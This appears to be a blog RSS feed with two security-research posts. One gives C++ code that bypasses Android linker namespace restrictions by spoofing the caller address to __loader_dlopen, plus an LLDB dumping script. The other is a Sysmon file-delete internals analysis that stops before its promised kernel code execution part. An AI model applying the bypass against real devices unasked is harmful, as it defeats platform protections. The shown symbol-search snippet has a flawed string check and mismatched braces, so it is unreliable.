<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[undev.ninja]]></title><description><![CDATA[Software undevelopment and offensive security research.]]></description><link>https://undev.ninja/</link><image><url>https://undev.ninja/favicon.png</url><title>undev.ninja</title><link>https://undev.ninja/</link></image><generator>Ghost 5.13</generator><lastBuildDate>Mon, 13 Apr 2026 11:41:21 GMT</lastBuildDate><atom:link href="https://undev.ninja/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Unrestricting Android Native Dynamic Library Linking]]></title><description><![CDATA[Bypassing linker namespaces to dynamically link libraries.]]></description><link>https://undev.ninja/unrestricting-android-native-dynamic-library-linking/</link><guid isPermaLink="false">66d010f59984e56a6c34243e</guid><category><![CDATA[android]]></category><dc:creator><![CDATA[NtRaiseHardError]]></dc:creator><pubDate>Thu, 29 Aug 2024 14:31:12 GMT</pubDate><content:encoded><![CDATA[<h1 id="introduction">Introduction</h1><p>Hacking around Android sometimes requires getting your hands dirty at the native level. And while I was on one such escapade, I discovered that Android has a tendency to make things quite restrictive with what you can do or interact with on the system. Rightfully so, perhaps, as they document on their developer website that <a href="https://developer.android.com/about/versions/nougat/android-7.0-changes#ndk">changes from Android 7.0 start restricting access to dynamically linking against non-NDK libraries for stability reasons</a>. The exact level of restriction on certain libraries vary between different API levels as they show in the following diagram.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2024/08/image.png" class="kg-image" alt loading="lazy"><figcaption>Native dynamic library linking restrictions based on API level</figcaption></figure><p>Well, this is troublesome for the things I want to do so I had to investigate further. There weren&apos;t many helpful references online for bypassing these restrictions and only this relatively old (2019) Quarkslab post on <a href="https://blog.quarkslab.com/android-runtime-restrictions-bypass.html">Android Runtime Restrictions Bypass</a> gave some idea around how it would be possible. It seems quite involved but there is a simpler workaround without tampering with any internal data structures - or so I think. This is a short post on how it&apos;s possible to bypass these restrictions <s>and definitely not stealing from Frida&apos;s codebase</s>.</p><h1 id="android-dlopen">Android <code>dlopen</code></h1><p>Android <code>dlopen</code> is quite different from the base Linux implemention in that it gets the <a href="https://source.android.com/docs/core/architecture/vndk/linker-namespace">namespace</a> of the calling function&apos;s module and checks it against the namespaces of the target library to open. To do this, the <code>dlopen</code> function gets an additional argument of the return address (<code>rsp</code>) and passes it to <code>void* __loader_dlopen(const char* filename, int flags, const void* caller_addr)</code>.</p><figure class="kg-card kg-code-card"><pre><code>dlopen:
	jmp    qword ptr [rip + 0xc762] 
	push   0x15                     
	jmp    0x136320                 


dlopen:
	mov    rdx, qword ptr [rsp]     
	jmp    0x41a0                     ; symbol stub for: __loader_dlopen


__loader_dlopen:
	jmp    qword ptr [rip + 0x3f8a] 
	push   0x1                      
	jmp    0x4180                   


__dl___loader_dlopen:
	push   rbp                      
	push   r15                      
	push   r14                      
	push   rbx                      
	push   rax</code></pre><figcaption><code>dlopen</code> passing the return address to <code>__loader_dlopen</code></figcaption></figure><p>In <code>do_dlopen</code>, it will use the caller address to get the calling module&apos;s namespace.</p><figure class="kg-card kg-code-card"><pre><code class="language-cpp">void* do_dlopen(const char* name, int flags,
                const android_dlextinfo* extinfo,
                const void* caller_addr) {
  std::string trace_prefix = std::string(&quot;dlopen: &quot;) + (name == nullptr ? &quot;(nullptr)&quot; : name);
  ScopedTrace trace(trace_prefix.c_str());
  ScopedTrace loading_trace((trace_prefix + &quot; - loading and linking&quot;).c_str());
  soinfo* const caller = find_containing_library(caller_addr);
  android_namespace_t* ns = get_caller_namespace(caller);
  
  ...
}
</code></pre><figcaption>Start of <code>do_dlopen</code> getting the namespace of the calling module</figcaption></figure><p>There is a list of <code>soinfo</code> data structures that contain information about each loaded module, some of which are the module&apos;s base address, its size in memory, and its primary namespace.</p><pre><code class="language-cpp">struct soinfo {
#if defined(__work_around_b_24465209__)
 private:
  char old_name_[SOINFO_NAME_LEN];
#endif
 public:
  const ElfW(Phdr)* phdr;
  size_t phnum;
#if defined(__work_around_b_24465209__)
  ElfW(Addr) unused0; // DO NOT USE, maintained for compatibility.
#endif
  ElfW(Addr) base;
  size_t size;

#if defined(__work_around_b_24465209__)
  uint32_t unused1;  // DO NOT USE, maintained for compatibility.
#endif

  ElfW(Dyn)* dynamic;

#if defined(__work_around_b_24465209__)
  uint32_t unused2; // DO NOT USE, maintained for compatibility
  uint32_t unused3; // DO NOT USE, maintained for compatibility
#endif

  soinfo* next;

...

  // version &gt;= 3
  std::vector&lt;std::string&gt; dt_runpath_;
  android_namespace_t* primary_namespace_;
  android_namespace_list_t secondary_namespaces_;

...</code></pre><p>The <code>find_containing_library</code> function will enumerate the list of <code>soinfo</code> to find the module&apos;s <code>soinfo</code> by checking if the caller address lies within the module&apos;s address range. The head of this list is a global variable called <code>solist</code> which can be obtained using the <code>solist_get_head</code> function.</p><pre><code class="language-cpp">soinfo* find_containing_library(const void* p) {
  // Addresses within a library may be tagged if they point to globals. Untag
  // them so that the bounds check succeeds.
  ElfW(Addr) address = reinterpret_cast&lt;ElfW(Addr)&gt;(untag_address(p));
  for (soinfo* si = solist_get_head(); si != nullptr; si = si-&gt;next) {
    if (address &lt; si-&gt;base || address - si-&gt;base &gt;= si-&gt;size) {
      continue;
    }
    ElfW(Addr) vaddr = address - si-&gt;load_bias;
    for (size_t i = 0; i != si-&gt;phnum; ++i) {
      const ElfW(Phdr)* phdr = &amp;si-&gt;phdr[i];
      if (phdr-&gt;p_type != PT_LOAD) {
        continue;
      }
      if (vaddr &gt;= phdr-&gt;p_vaddr &amp;&amp; vaddr &lt; phdr-&gt;p_vaddr + phdr-&gt;p_memsz) {
        return si;
      }
    }
  }
  return nullptr;
}</code></pre><p>Using the <code>soinfo</code>, it will get its primary namespace.</p><pre><code class="language-cpp">static android_namespace_t* get_caller_namespace(soinfo* caller) {
  return caller != nullptr ? caller-&gt;get_primary_namespace() : g_anonymous_namespace;
}
</code></pre><p>And somewhere down the call hierarchy, if the calling module&apos;s namespace is incompatible with the libary&apos;s, &#xA0;then the loader will reject the request.</p><h1 id="bypassing-restrictions">Bypassing Restrictions</h1><p>A namespace is obviously compatible with itself - I hope! So to get the namespace of the library that you want to load, the solution is blindingly trivial: pass the address of the library to <code>__loader_dlopen</code>&apos;s <code>caller_addr</code> argument. An unrestricted <code>dlopen</code> would directly call <code>__loader_dlopen</code> which means that it has to be found through parsing its symbol in <code>linker64</code>. Procfs can be used to get the initial information.</p><p>Here is code to parse the <code>symtab</code> symbols to find <code>__loader_dlopen</code> and then using it as an unrestricted <code>dlopen</code>.</p><pre><code class="language-cpp">uint64_t linker64_base = ...;
const ElfW(Sym)* ssym = nullptr;
size_t ssym_size = 0;
const char* sstr_table = nullptr;
void*(*unrestricted_dlopen)(const char*, int, void*) = nullptr;

// Get the string table and symbol headers.
for (ElfW(Half) i = 0; i &lt; ehdr-&gt;e_shnum; i++) {
    if (shdr[i].sh_type == SHT_SYMTAB) {
        ssym = reinterpret_cast&lt;const ElfW(Sym)*&gt;(file + shdr[i].sh_offset);
        const ElfW(Sym)* ssym_end = reinterpret_cast&lt;const ElfW(Sym)*&gt;(
                reinterpret_cast&lt;const uint8_t*&gt;(ssym) + shdr[i].sh_size);
        ssym_size = (reinterpret_cast&lt;const uint8_t*&gt;(ssym_end) -
                     reinterpret_cast&lt;const uint8_t*&gt;(ssym)) / shdr[i].sh_entsize;
        sstr_table = reinterpret_cast&lt;const char*&gt;(file + shdr[shdr[i].sh_link].sh_offset);
    }
}

// Enumerate the string table and symbols.
for (size_t i = 0; i &lt; ssym_size; i++) {
    if (ssym[i].st_name) {
        const char *sym_name = &amp;sstr_table[ssym[i].st_name];
        if (std::string(sym_name).find(&quot;__dl___loader_dlopen&quot;)) 
        	// Calculate the memory address of __loader_dlopen.
        	unrestricted_dlopen = reinterpret_cast&lt;void*(*)(const char*, int, void*)&gt;(linker64_base + ssym[i].st_value);
        }
    }
}

// Use unrestricted dlopen.
void* libart_base = ...;
void* libart_handle = unrestricted_dlopen(&quot;libart.so&quot;, RTLD_LAZY, libart_base);</code></pre><p>Using the standard <code>dlsym</code> function works in the same way but once I had the handle to the library, it didn&apos;t seem to have issues about namespaces... yet.</p><h1 id="conclusion">Conclusion</h1><p>It might seem like a roundabout way and unnecessary to get to an unrestricted <code>dlopen</code> once you already have code to parse symbols for an arbitrary library. I suppose the other solution is to modify the namespace of your own module by tampering with the <code>solist</code>. But it works!</p><p>I also hacked together an LLDB - why have you done this to me, Google - Python script that dumps the <code>soinfo</code> list and each primary namespace if you give it any (ideally <code>solist</code>) starting address.</p><pre><code class="language-python">#!/usr/bin/env python3

import argparse
import lldb
import re
import shlex

from pathlib import Path

SIZEOF_POINTER = 8

# [name, size, pad_size]
SOINFO_DEF = [
    [&quot;phdr&quot;, 8, 0],
    [&quot;phnum&quot;, 8, 0],
    [&quot;base&quot;, 8, 0],
    [&quot;size&quot;, 8, 0],
    [&quot;dyn&quot;, 8, 0],
    [&quot;next&quot;, 8, 0],
    [&quot;flags&quot;, 4, 4],
    [&quot;strtab&quot;, 8, 0],
    [&quot;symtab&quot;, 8, 0],
    [&quot;nbucket&quot;, 8, 0],
    [&quot;nchain&quot;, 8, 0],
    [&quot;bucket&quot;, 8, 0],
    [&quot;chain&quot;, 8, 0],
    [&quot;plt_relx&quot;, 8, 0],
    [&quot;plt_relx_count&quot;, 8, 0],
    [&quot;relx&quot;, 8, 0],
    [&quot;relx_count&quot;, 8, 0],
    [&quot;preinit_array&quot;, 8, 0],
    [&quot;preinit_array_count&quot;, 8, 0],
    [&quot;init_array&quot;, 8, 0],
    [&quot;init_array_count&quot;, 8, 0],
    [&quot;fini_array&quot;, 8, 0],
    [&quot;fini_array_count&quot;, 8, 0],
    [&quot;init_func&quot;, 8, 0],
    [&quot;fini_func&quot;, 8, 0],
    [&quot;ref_count&quot;, 8, 0],
    [&quot;link_map.l_addr&quot;, 8, 0],
    [&quot;link_map.l_name&quot;, 8, 0],
    [&quot;link_map.l_ld&quot;, 8, 0],
    [&quot;link_map.l_next&quot;, 8, 0],
    [&quot;link_map.l_prev&quot;, 8, 0],
    [&quot;contructors_called&quot;, 1, 7],
    [&quot;load_bias&quot;, 8, 0],
    [&quot;has_dt_symbolic&quot;, 1, 3],
    [&quot;version&quot;, 4, 0],
    [&quot;st_dev&quot;, 8, 0],
    [&quot;st_ino&quot;, 8, 0],
    [&quot;children&quot;, 8, 0],
    [&quot;parents&quot;, 8, 0],
    [&quot;file_offset&quot;, 8, 0],
    [&quot;rtld_flags&quot;, 4, 0],
    [&quot;dt_flags_1&quot;, 4, 0],
    [&quot;strtab_size&quot;, 8, 0],
    [&quot;gnu_nbucket&quot;, 8, 0],
    [&quot;gnu_bucket&quot;, 8, 0],
    [&quot;gnu_chain&quot;, 8, 0],
    [&quot;gnu_maskwords&quot;, 4, 0],
    [&quot;gnu_shift2&quot;, 4, 0],
    [&quot;gnu_bloom_filter&quot;, 8, 0],
    [&quot;local_group_root&quot;, 8, 0],
    [&quot;android_relocs&quot;, 8, 0],
    [&quot;android_relocs_size&quot;, 8, 0],
    [&quot;soname&quot;, 8*3, 0],
    [&quot;realpath&quot;, 8*3, 0],
    [&quot;versym&quot;, 8, 0],
    [&quot;verdef_ptr&quot;, 8, 0],
    [&quot;verdef_cnt&quot;, 8, 0],
    [&quot;verneed_ptr&quot;, 8, 0],
    [&quot;verneed_cnt&quot;, 8, 0],
    [&quot;target_sdk_version&quot;, 4, 4],
    [&quot;dt_runpath&quot;, 8*3, 0],
    [&quot;primary_namespace&quot;, 8, 0],
    [&quot;secondary_namespace.head&quot;, 8, 0],
    [&quot;secondary_namespace.tail&quot;, 8, 0],
    [&quot;handle&quot;, 8, 0]
]

SIZEOF_SOINFO = 0 #len(SOINFO_DEF) * SIZEOF_POINTER
for i in range(len(SOINFO_DEF)):
    SIZEOF_SOINFO += SOINFO_DEF[i][1] + SOINFO_DEF[i][2]

ANDROID_NAMESPACE_DEF = [
    [&quot;name&quot;, 8*3, 0],
    [&quot;is_isolated&quot;, 2, 0],
    [&quot;is_exempt_list_enabled&quot;, 2, 0],
    [&quot;is_also_used_as_anonymous&quot;, 2, 2],
    [&quot;ld_library_paths&quot;, 8*3, 0],
    [&quot;default_library_paths&quot;, 8*3, 0],
    [&quot;permitted_paths&quot;, 8*3, 0],
    [&quot;allowed_libs&quot;, 8*3, 0],
    [&quot;linked_namespaces&quot;, 8*3, 0],
    [&quot;soinfo_list.head&quot;, 8, 0],
    [&quot;soinfo_list.tail&quot;, 8, 0]
]

SIZEOF_ANDROID_NAMESPACE = 0
for i in range(len(ANDROID_NAMESPACE_DEF)):
    SIZEOF_ANDROID_NAMESPACE += ANDROID_NAMESPACE_DEF[i][1] + ANDROID_NAMESPACE_DEF[i][2]


def resolve_module_name(debugger, addr: int):
    result = lldb.SBCommandReturnObject()
    debugger.GetCommandInterpreter().HandleCommand(f&quot;im loo -va {addr}&quot;, result)

    m = re.search(r&apos;file = &quot;(.*)?&quot;,&apos;, result.GetOutput())
    return m.group(1) if m is not None else None
    

def parse_std_string(process, bytes: bytes):
    try:
        return bytes.decode(&apos;utf-8&apos;).split(&apos;\0&apos;)[0].strip()
    except UnicodeDecodeError as e:
        pass

    error = lldb.SBError()
    len = int.from_bytes(bytes[0:8], &apos;little&apos;)
    addr = int.from_bytes(bytes[0x10:0x18], &apos;little&apos;)
    s_bytes = process.ReadMemory(addr, len, error)
    if not error.Success():
        print(f&quot;Error reading memory: {error}&quot;)
        return &quot;&quot;

    return s_bytes.decode(&apos;utf-8&apos;).split(&apos;\0&apos;)[0].strip()


def parse_android_namespace(process, addr: int, verbose: bool):
    error = lldb.SBError()
    bytes = process.ReadMemory(addr, SIZEOF_ANDROID_NAMESPACE, error)
    if not error.Success():
        return

    # start at 1st index
    android_namespace_index = ANDROID_NAMESPACE_DEF[0][1] + ANDROID_NAMESPACE_DEF[0][2]

    for i in range(1, len(ANDROID_NAMESPACE_DEF)):
        member_size = ANDROID_NAMESPACE_DEF[i][1]
        pad_size = ANDROID_NAMESPACE_DEF[i][2]
        value = int.from_bytes(bytes[android_namespace_index:android_namespace_index+member_size], &apos;little&apos;)

        if verbose:
            print(f&quot;\t[{int(android_namespace_index / SIZEOF_POINTER)}] {ANDROID_NAMESPACE_DEF[i][0]}: {hex(value)}&quot;)

        android_namespace_index += member_size + pad_size


def parse_soinfo(debugger, bytes: bytes, verbose: bool):
        process = debugger.GetSelectedTarget().process

        soinfo_index = 0
        soname = parse_std_string(process, bytes[49*8:49*8+8*3])
        
        mod_base = int.from_bytes(bytes[2*8:2*8+8], &apos;little&apos;)
        mod_size = int.from_bytes(bytes[3*8:3*8+8], &apos;little&apos;)
        print(f&quot;Module: {soname} [{hex(mod_base)}-{hex(mod_base + mod_size)}]&quot;)
        for i in range(len(SOINFO_DEF)):
            member_size = SOINFO_DEF[i][1]
            pad_size = SOINFO_DEF[i][2]
            value = int.from_bytes(bytes[soinfo_index:soinfo_index+member_size], &apos;little&apos;)

            if SOINFO_DEF[i][0] == &quot;primary_namespace&quot;:  # parse primary namespace
                error = lldb.SBError()
                bytes = process.ReadMemory(value, 8*3, error)
                if error.Success():
                    name = parse_std_string(process, bytes)
                    print(f&quot;[{int(soinfo_index / SIZEOF_POINTER)}] {SOINFO_DEF[i][0]}: {name} [{hex(value)}]&quot;)
                else:
                    print(f&quot;[{int(soinfo_index / SIZEOF_POINTER)}] {SOINFO_DEF[i][0]}: [{hex(value)}]&quot;)

                parse_android_namespace(process, value, verbose)
            elif verbose:
                print(f&quot;[{int(soinfo_index / SIZEOF_POINTER)}] {SOINFO_DEF[i][0]}: {hex(value)}&quot;)

            soinfo_index += member_size + pad_size
            
        if verbose:
            print()


def enum_solist(debugger, command, result, dict):
    comm_args = shlex.split(command)

    desc = &quot;&quot;&quot;Enumerate and print information of the solist.&quot;&quot;&quot;
    parser = argparse.ArgumentParser(
        description=desc,
        prog=&apos;enum_solist&apos;
    )
    parser.add_argument(
        &apos;address&apos;,
        help=&apos;address of an solist&apos;
    )

    parser.add_argument(
        &apos;-v&apos;,
        &quot;--verbose&quot;,
        action=&apos;store_true&apos;,
        help=&apos;verbose outptu of soinfo structure&apos;
    )

    try:
        args = parser.parse_args(comm_args)
    except Exception as e:
        print(f&quot;Failed to parse args: {e}&quot;)
        return

    start_addr = int(args.address, 0)

    target = debugger.GetSelectedTarget()
    if not target:
        print(&quot;Error: invalid target&quot;, file=target)

    process = target.process
    if not process:
        print(&quot;Error: invalid process&quot;, file=result)

    error = lldb.SBError()

    curr_soinfo_addr = start_addr
    while curr_soinfo_addr != 0:
        bytes = process.ReadMemory(curr_soinfo_addr, SIZEOF_SOINFO, error)
        if not error.Success():
            print(f&quot;Error: {error.GetCString()}&quot;, file=result)
            return
        
        parse_soinfo(debugger, bytes, args.verbose)
        curr_soinfo_addr = int.from_bytes(bytes[5*8:5*8+8], &apos;little&apos;)
        

lldb.debugger.HandleCommand(
    &quot;command script add -f enum_solist.enum_solist enum_solist&quot;)
print(&quot;A new command called &apos;enum_solist&apos; was added, type &apos;enum_solist --help&apos; for more information.&quot;)</code></pre>]]></content:encoded></item><item><title><![CDATA[Sysmon Internals - From File Delete Event to Kernel Code Execution]]></title><description><![CDATA[Sysmon File Delete Event Internals and Kernel Code Execution]]></description><link>https://undev.ninja/sysmon-internals-from-file-delete-event-to-kernel-code-execution/</link><guid isPermaLink="false">5f5486369a075b04b60d5ca1</guid><category><![CDATA[kernel]]></category><category><![CDATA[offense]]></category><category><![CDATA[sysmon]]></category><dc:creator><![CDATA[NtRaiseHardError]]></dc:creator><pubDate>Wed, 27 Dec 2023 12:19:00 GMT</pubDate><content:encoded><![CDATA[<h1 id="introduction">Introduction</h1><p>On April 2020, Mark Russinovich announced the release of a new event type for Sysmon version 11.0: event ID 23, File Delete. As indicated by the name, it logs file delete events that occur on the system. In addition to this, another functionality came alongside allowing files marked for deletion to be archived, enabling defenders to track tools being dropped by malware to better understand the actor&apos;s capabilities and develop signatures. This article will discuss the internals of Sysmon version 11.11&apos;s to gain insight into how it operates and its limitations. I have briefly checked Sysmon version 12.0 as it was released (September 17, 2020) during the writing of this article and the code for this event looks almost identical so the information should still be mostly relevant.</p><p>Before beginning the article, a huge thank you to <a href="https://twitter.com/SBousseaden">Samir</a> for the collaborative effort on this journey.</p><h1 id="file-delete-conditions">File Delete Conditions</h1><p>Let&apos;s first understand the conditions for which the file delete event will be triggered. The file events are handled almost entirely by the <code>SysmonDrv.sys</code> driver through the minifilter component. Specifically, it monitors for three I/O request packets (IRP) <code>IRP_MJ_CREATE</code>, <code>IRP_MJ_CLEANUP</code>, and <code>IRP_MJ_WRITE</code> for file creates, complete handle closes (reference count on a file object reaching zero), and writes respectively.</p><h2 id="irp_mj_create">IRP_MJ_CREATE</h2><p>The purpose of this IRP in the context of file deletes is to handle two situations: file overwrites and file deletes using the <code>FLAG_FILE_DELETE_ON_CLOSE</code> option.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/09/image-1.png" class="kg-image" alt loading="lazy"><figcaption>File overwrite versus <code>FLAG_FILE_DELETE_ON_CLOSE</code></figcaption></figure><p>Sysmon will check first whether the file was opened with <code>FLAG_FILE_DELETE_ON_CLOSE</code>, and if it is, the configuration&apos;s filter rules will be matched against. If the conditions are met, the delete event will be created and the file will be archived in the <code>IRP_MJ_CLEANUP</code> request when all the handles to the file are closed.</p><p>On the other hand, if the file already exists and is being opened with overwrite intent (disposition value is either <code>FILE_OVERWRITE</code> or <code>FILE_OVERWRITE_IF</code>), the driver will attempt to open the file with <code>FltCreateFile</code>. If the function fails with <code>STATUS_OBJECT_NAME_NOT_FOUND</code>, the file doesn&apos;t exist and Sysmon will pass it on to be handled as a file create event. Otherwise, if it returns successfully, the target file exists and will be archived immediately, creating the delete event in tandem.</p><h2 id="irp_mj_cleanup">IRP_MJ_CLEANUP</h2><p>As mentioned before, this request is sent when all of the referenced handles to a file have been closed. Sysmon handles this request by checking the <code>DeletePending</code> flag in the file object and archiving the file if it&apos;s set. In the case of <code>FLAG_FILE_DELETE_ON_CLOSE</code>, Sysmon will explicitly set the file&apos;s delete disposition to true using <code>FltSetInformationFile</code> with <code>FileDispositionInformation</code> before checking the <code>DeletePending</code> flag.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/09/image.png" class="kg-image" alt loading="lazy"><figcaption>File is archived if <code>DeletePending</code> is set</figcaption></figure><h2 id="irp_mj_write">IRP_MJ_WRITE</h2><p>Sysmon also considers file content overwrites instead of just classic file deletes. To meet this condition, the write must originate from user mode, the write size must be greater than or equal to the size of the target file and the write should start at the zeroth offset.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/09/image-2.png" class="kg-image" alt loading="lazy"><figcaption>File write should start at offset 0 and be greater than or equal to the file size</figcaption></figure><p>Sysmon will then read the first byte of the file before iterating through each byte of the buffer that will be written. To trigger the file archiving and delete event, all of the bytes must match the first recorded byte. Sysmon refers to this as <em>shredding</em> where all bytes of the overwrite are the same, e.g. <em>AAAAAAA...</em>. </p><p>There is one more condition under <code>IRP_MJ_WRITE</code> which triggers the archive and delete event however, I was unable to trigger or trace the conditions required. Perhaps this would be an upcoming feature?</p><h1 id="internals">Internals</h1><p>Now that the conditions of file delete events have been covered, let&apos;s investigate the implementation details.</p><h2 id="file-delete-requirements">File Delete Requirements</h2><p>The first function to cover is one I call <code>CheckAndQueueFileDeleteEvent</code> and its main purpose is to check if the target file should be archived and if a delete event should be logged. It achieves this in several ways with a few initial checks. If any of the following conditions are met, the file delete event will be bypassed:</p><ol><li>The operation is made by the registered service process (should be <code>Sysmon64.exe</code>),</li><li>The delete event was not set in the configuration,</li><li>The target file is a device or directory,</li><li>The file is empty,</li><li>The file&apos;s parent directory is the archive directory.</li></ol><p>After these initial checks, the function will retrieve the file&apos;s extension using <code>FltParseFileNameInformation</code> and also check if the file is an executable by using a few <code>FltReadFile</code> calls to read the <code>MZ</code> and <code>PE</code> signatures at offset 0 and <code>0x3C</code> respectively. These values are returned back to the caller along with the image file name responsible for the operation.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/09/image-3.png" class="kg-image" alt loading="lazy"><figcaption>Checking for PE executable signatures</figcaption></figure><p>Finally, it makes a call to a function I labelled <code>QueueFileDeleteEvent</code> to perform a final check if the file should be archived and logged. </p><h2 id="reporting-file-delete-events">Reporting File Delete Events</h2><p>The following represents the proprietary file delete event structure:</p><figure class="kg-card kg-code-card"><pre><code class="language-c">typedef struct _FILE_DELETE_EVENT {
	/*   0 */ ULONG Id;          // 0xF0000000 for file delete.
	/*   4 */ ULONG Size;        // Struct size.
	/*   8 */ PVOID Unk1;
	/*  10 */ PVOID Unk2;
	/*  18 */ HANDLE ProcessHandle;
	/*  20 */ PKSYSTEM_TIME SystemUtcTime;
	/*  28 */ ULONG HashMethod;
	/*  2C */ BOOLEAN IsExecutable;
	/*  30 */ ULONG SidLength;
	/*  34 */ ULONG ObjectNameLength;
	/*  38 */ ULONG ImageFileNameLength;
	/*  3C */ ULONG HashLength;
	/*  40 */ WCHAR StatusString[256];
	/* 240 */ PEPROCESS ServiceProcessHandle;	// Actually a PEPROCESS object.
	/* 248 */ PKEVENT Event;
	/* 250 */ PBOOLEAN IsArchivedAddress;
	/* 258 */ // User SID.
	/* xxx */ // Object name.
	/* xxx */ // Image file name.
	/* xxx */ // File hash.
} FILE_DELETE_EVENT, * PFILE_DELETE_EVENT;</code></pre><figcaption>File delete event structure</figcaption></figure><p>The event is allocated and set in <code>QueueFileDeleteEvent</code>. But besides the obvious purpose of reporting file delete event data, it has another important, secondary purpose. The tenth argument to this function is a pointer that represents the boolean value of whether the target file should be archived. Although this pointer is optional, if it is a valid, non-zero value, this function serves to pass the event data to <code>Sysmon64.exe</code> via an event queue to be checked against the filter conditions provided in the configuration file.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/09/image-4.png" class="kg-image" alt loading="lazy"><figcaption>Valid tenth argument</figcaption></figure><p>This explains the existence of the <code>Event</code>, <code>IsArchivedAddress</code>, and the <code>ServiceProcessHandle</code> members of the <code>FILE_DELETE_EVENT</code> structure. After intialising these values and the structure, the event is queued in a function I labelled <code>QueueEvent</code> and the thread is blocked using <code>KeWaitForMultipleObjects</code> waiting on either the <code>Event</code> or the <code>Sysmon64.exe</code> process.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/09/image-5.png" class="kg-image" alt loading="lazy"><figcaption>Thread blocking after queuing file delete event</figcaption></figure><p>To understand this further, we need to know how events are reported from the driver to <code>Sysmon64.exe</code>.</p><h3 id="queueevent">QueueEvent</h3><p>Sysmon utilises a doubly linked list to queue up events. In this article, I will refer to it as <code>g_EventReportList</code>. This function is relatively straightforward, if the event size is not greater than <code>0x3FCB8 + 0x348</code> (40000) it will be appended to <code>g_EventReportList</code>, otherwise, an incorrect event size error will be created. Since we are not concerned about the error event, we&apos;ll skip it for brevity.</p><p>An allocation for a new data structure is created to wrap the event argument:</p><pre><code class="language-c">typedef struct _EVENT_REPORT {
    /*  0 */ LIST_ENTRY ListEntry;
    /* 10 */ ULONG EventDataSize;
    /* 18 */ PVOID EventData;
} EVENT_REPORT, *PEVENT_REPORT;</code></pre><p>The pointer to the event is pointed to by <code>EventData</code> and its size is stored in <code>EventDataSize</code>. After filling this structure, the <code>EVENT_REPORT</code> is appended in <code>g_EventReportList</code> if the number of entries is less than 50000. If there are 50000 entries, the first item in the queue is removed and deallocated.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/09/image-10.png" class="kg-image" alt loading="lazy"><figcaption>Allocating and appending new event to <code>g_EventReportList</code></figcaption></figure><h3 id="retrieving-events">Retrieving Events</h3><p>Once events are queued, <code>Sysmon64.exe</code> can read them one by one through the driver&apos;s device control dispatch with the I/O control code <code>0x83400004</code>.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/09/image-11.png" class="kg-image" alt loading="lazy"><figcaption>Reading the first event on the queue through the device control dispatch</figcaption></figure><p>In the context of the file delete event, <code>Sysmon64.exe</code> will check for a valid <code>Event</code> member.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/09/image-12.png" class="kg-image" alt loading="lazy"><figcaption><code>Sysmon64.exe</code> checking for valid <code>Event</code> member</figcaption></figure><p>If it&apos;s valid, a filter check will be performed to determine if the target file object should be archived and a file delete event launched. The following data structure will be initialised and sent to the driver:</p><pre><code class="language-c">typedef struct _SET_ARCHIVED_INFO {
    /*  0 */ BOOLEAN IsArchived;
    /*  8 */ PEPROCESS ServiceProcessHandle;	// Service process.
    /* 10 */ PKEVENT Event;
    /* 18 */ PBOOLEAN IsArchivedAddress;
} SET_ARCHIVED_INFO, *PSET_ARCHIVED_INFO;</code></pre><p>The <code>IsArchived</code> value is set depending on the return value of the function that checks for filter matching. Using <code>DeviceIoControl</code>, Sysmon will send the above structure back to the driver with the <code>0x83400010</code> I/O control code.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/09/image-14.png" class="kg-image" alt loading="lazy"><figcaption><code>Sysmon64.exe</code> responding with whether the file should be logged</figcaption></figure><p>Back in the driver&apos;s device control dispatch, the value in <code>IsArchivedAddress</code> will be set to <code>IsArchived</code> (!) before signalling the event to unblock <code>QueueFileDeleteEvent</code>.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/09/image-15.png" class="kg-image" alt loading="lazy"><figcaption>Device control dispatch setting <code>IsArchived</code> value and signalling <code>QueueFileDeleteEvent</code>&apos;s wait</figcaption></figure><p>Once <code>QueueFileDeleteEvent</code> is signalled and unblocked, it will return the <code>IsArchived</code> value back through the tenth argument which is then returned again from <code>CheckAndQueueFileDeleteEvent</code>.</p><p>The return value is used in two locations: the <code>IRP_MJ_CREATE</code> with <code>FLAG_FILE_DELETE_ON_CLOSE</code> and in the <code>ArchiveFile</code> function. The former triggers the file delete event and archiving in the <code>IRP_MJ_CLEANUP</code> request by setting the <code>CompletionContext</code> value to <code>1</code> so that it can be handled in the minifilter&apos;s post operation.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/09/image-16.png" class="kg-image" alt loading="lazy"><figcaption>Notifying post operation to handle <code>FLAG_FILE_DELETE_ON_CLOSE</code> files</figcaption></figure><p>The post operation routine simply allocates and sets a stream handle context with a size of two bytes. If the <code>CompletionContext</code> value is <code>1</code>, the stream handle context will be set to the value of <code>0</code>.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/09/image-17.png" class="kg-image" alt loading="lazy"><figcaption>In post operation, set stream handle context to <code>0</code> if <code>CompletionContext</code> is <code>1</code></figcaption></figure><p>When the <code>IRP_MJ_CLEANUP</code> request is sent on handle close, it will check the stream handle context for <code>0</code> and set the target file&apos;s delete disposition.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://undev.ninja/content/images/2020/09/image-18.png" class="kg-image" alt loading="lazy"><figcaption>Setting delete disposition if the stream handle context value is <code>0</code></figcaption></figure><h2 id="file-archiving">File Archiving</h2><p>When <code>CheckAndQueueFileDeleteEvent</code> returns to indicate that the file delete event should be logged, the <code>ArchiveFile</code> function will perform a second round of checks that must be passed if the target file should be 